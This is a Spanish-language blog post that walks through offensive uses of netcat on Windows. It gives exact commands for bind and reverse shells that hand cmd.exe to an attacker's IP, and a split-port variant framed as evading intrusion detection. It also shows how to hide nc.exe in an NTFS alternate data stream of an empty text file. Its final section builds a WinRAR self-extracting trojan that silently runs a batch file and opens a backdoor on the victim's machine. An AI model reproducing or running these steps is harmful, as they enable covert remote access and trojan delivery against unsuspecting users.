MALWARE? Quien dijo malWare?!

Netcat + Streams + Winrar

NETCAT realiza y acepta conexiones TCP Y UDP. Escribe y lee los datos en este tipo de conexiones hasta que se cierren. Proporciona un subsistema de conexión a red básico basado en TCP/UDP que permite a los usuarios interactuar en forma normal o mediante secuencias de comandos con aplicaciones de red y servicios sobre la capa de aplicación.

Netcat puede ser encontrado en: http://www.l0pht.com/~weld/netcat

A partir de ahora mostraremos unos pequeños ejemplos (principalmente siempre desde la linea de comandos) de lo que se puede hacer con Netcat en Windows:

Primero empezamos mostrando la ayuda que viene con el netcat: C:>nc -h

image001

La línea básica de comandos para Netcat es nc [opciones] host puertos, donde host es la dirección IP que se desea analizar y puertos es o un determinado puerto o un rango de puertos o una serie de puertos separados por espacios. Echemos un vistazo a cada una de las opciones.

-d Permite que nc trabaje en forma silenciosa y se desenganche del indicador de comandos MS-DOS.
-e <comando> Un nc a la escucha podrá ejecutar el <comando> en el instante en que alguien se conecte al puerto en el que está escuchando.
-i <segundos> Intervalo de espera, que es la cantidad de tiempo que nc esperará entre dos envíos de datos sucesivos.
-g <lista-de-ruta> Se pueden especificar hasta 8 opciones –g en la línea de comandos para forzar que su tráfico nc pase por determinadas direcciones IP.
-G <puntero de saltos> Esta opción le permitirá definir que dirección IP va a ser el siguiente salto dentro de la ruta indicada con la opción –g.
-l Activa el modo escucha de nc.
-L Activa el modo escucha de nc pero con más interés.
-n Indica a nc que no realice ninguna consulta de nombres de hosts.
-o <archivohex> Realiza un volcado hexadecimal de los datos y los almacena en un archivo hexadecimal.
-p <puerto> Le permite especificar el puerto local que va a utilizar nc.
-r Nc elegirá aleatoriamente los puertos locales y remotos.
-s Especifica la dirección IP de origen que deberá utilizar nc cuando efectue sus conexiones.
-t Es capaz de controlar la negociación de opciones Telnet.
-u Indica a nc que utilice UDP en lugar de TCP.
-v Informa el estado de nc, si pones otra –v podrás obtener más información.
-w <segundos> Controla cuanto tiempo va a esperar nc antes de dar por terminada una conexión.
-z Le dice a nc que envíe la cantidad de datos necesarias para conocer en que puertos se está escuchando algo.

Ejemplo1: El equipoB se conecta por medio de netcat al equipoA con una shell.

En el EquipoA se publica el cmd.exe en el puerto 1234: (se abre el puerto 1234 en equipoA)

C:\Netcat-Eq.A>nc -d -e cmd.exe -l -p 1234 –vv

image003

El EquipoB se conecta al cmd.exe del EquipoA:

C:\Netcat-Eq.B>nc <IP_equipoA>
Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Netcat-Eq.A> –> Se entra en el cmd.exe del EquipoA

C:\Netcat-Eq.A>ipconfig –> Obtenemos configuración de red del EquipoA

Configuracion IP de Windows
Adaptador Ethernet Conexion de area local :

Sufijo de conexion especifica DNS : dominio.com
Direccion IP. . . . . . . . . . . : <IP_eqA>
Mascara de subred . . . . . . . . : x.x.x.x
Puerta de enlace predeterminada : y.y.y.y

Ejemplo2: Se ataca al equipoB

El EquipoA hace de atacante. Pone a netcat escuchando por el puerto 80:

C:\Netcat-Eq.A>nc -vv -l -p 80

image006

El EquipoB es la víctima. Imaginemos que se consigue ejecutar el siguiente comando en la víctima:

C:\Netcat-Eq.B>nc <IP_eqA> -e cmd.exe 80

Con ello se publica el cmd.exe del EquipoB (víctima) en el EquipoA (atacante), de esta forma el atacante tiene acceso al cmd.exe de la víctima con los privilegios de esta:

image007

Ahora se obtiene la configuración de red del EquipoB:

image009

Ejemplo3: Netcat distribuido  Evitando sistemas IDS

El EquipoA hace de atacante. Le ponemos a escuchar por dos puertos:

Desde un cmd.exe: C:\Netcat-Eq.A>nc -vv -l -p 80
listening on [any] 80 …
Desde otro cmd.exe: C:\Netcat-Eq.A>nc -vv -l -p 25
listening on [any] 25 …

Con ello el atacante estaría escuchando por los puertos 80 y 25:

image011

El EquipoB es la víctima. Imaginemos que se consigue ejecutar el siguiente comando en la víctima:

C:\Netcat-Eq.B>nc <IP_eqA> 80 | cmd.exe | nc.exe <IP_eqA> 25

Con ello se publica el cmd.exe en el puerto 80 del atacante y el resultado del comando se publica en el puerto 25 del atacante. Es decir, una vez realizada la conexión, se envían los comandos desde la ventana que escucha por el puerto 80 y se reciben los resultados en la ventana que escucha por el puerto 25.

image013

En la figura anterior se observa como se introduce el comando ipconfig en la ventana de escucha por el puerto 80 y la configuración de red de la víctima aparece en la ventana de escucha del puerto 25.

Alternate Data Stream – Flujo de datos

Ver información publicada en:

http://windowstips.wordpress.com/2007/01/29/alternate-data-streams-ads-que-es-y-como-funciona/

image015

Ejemplo 1:Introducir netcat en el flujo de datos de un fichero de texto

Creamos un fichero de texto llamado fichero.txt:
image016

Ahora insertamos el código de netcat en un stream:

C:\Netcat>type nc.exe>fichero.txt:nc.exe

image018

Como se puede observar el fichero no ha aumentado de tamaño, lo que si cambia es la fecha de modificación.

Ahora ejecutamos el netcat del stream para deje el cmd.exe a la escucha por el puerto 1234:

C:\Netcat>start .\fichero.txt:nc.exe -d -e cmd.exe -l -p 1234

image020

El archivo fichero.txt sigue teniendo el mismo tamaño y aparentemente está vacío, pero dentro del flujo de datos lleva el netcat. Un “inocente” fichero de texto vacío…

Para poder ver los flujos de datos existe una herramienta llamada NTFSExt.exe. En él viene una dll llamada StrmExt.dll que hay que copiar en C:\WINDOWS\system32 y posteriormente registarla (inicioejecutar regsvr32 StrmExt.dll):

Con ello en las propiedades del fichero nos aparecerá una nueva pestaña llamada Streams donde se pueden ver los flujos de datos del archivo:

image022

OBS: Identificador de zona en archivos descargados de Internet

El ZoneID almacena la zona de seguridad del Internet Explorer en que se origina el archivo. Las zonas de seguridad del IE, asignan niveles de permisos de seguridad distintos a cada fuente de datos o de código. Por ejemplo, sitios web y archivos descargados de Internet, son considerados menos seguros que los obtenidos directamente del disco duro de la computadora o de la red local.

Debido al identificador de zona en los archivos descargados de Internet se puede observar, en las propiedades, como aparece el botón “Desbloquear”. Dando a esta opción se elimina el ZoneID y el nivel de seguridad asociado.

image0241

La herramienta NTFSExt.exe también sirve para quitar esta opción.

WINRAR

Winrar puede ser una herramienta útil para crear troyanos.

Ejemplo básico: crear una puerta trasera con netcat

En un fichero de texto, fichero.txt, añadimos en el flujo de datos el netcat:

C:\Netcat>type nc.exe>fichero.txt:nc.exe

Se crea un fichero llamado start.bat cuyo contenido es el siguiente:

@echo off
start c:\ejemplo\.\fichero.txt:nc.exe -d -e cmd.exe -l -p 1234
exit

Ahora usamos Winrar para crear un archivo autoextraible:

Se seleccionan ambos ficheros y con el botón derecho del ratón se selecciona la opción Añadir al archivo. En la ventana que aparece, en opciones de compresión se selecciona Crear un archivo autoextraíble:

image026

En la pestaña Avanzado seleccionar Guardar los flujos del fichero:

image028

Dentro de Avanzado, en opciones avanzadas — General se pone la carpeta donde se extraerá el rar así como el programa que se ejecutará tras la instalación, en nuestro caso el start.bat:

image030

Dentro de Avanzado, en opciones avanzadas  Modos son importantes la opción Mostrar  ocultar todo y sobrescribir ficheros por ya existen en el equipo víctima:

image032

En Ficheros aparecerán los dos ficheros que contendrá el Winrar:

image034

Obs: También se puede elegir el icono que mostrará el ejecutable.
Aceptamos y se generará el fichero Prueba.exe

Cuando la víctima ejecute el Prueba.exe, en C:\ejemplo se instalarán los archivos fichero.txt y start.bat y una vez instalados, se ejecuta start.bat abriendo el puerto 1234:

image036

Tambien se puede ver el proceso:

image038

Como se ha comentado este ejemplo es muy básico, queda pues el “afinar”, se puede “hookear” algún proceso para pasar más desapercibido, etc…

by SIMORIAH

Un comentario en “MALWARE? Quien dijo malWare?!

  1. Pingback: MALWARE? Quien dijo malWare?! «

Responder

Por favor, inicia sesión con uno de estos métodos para publicar tu comentario:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s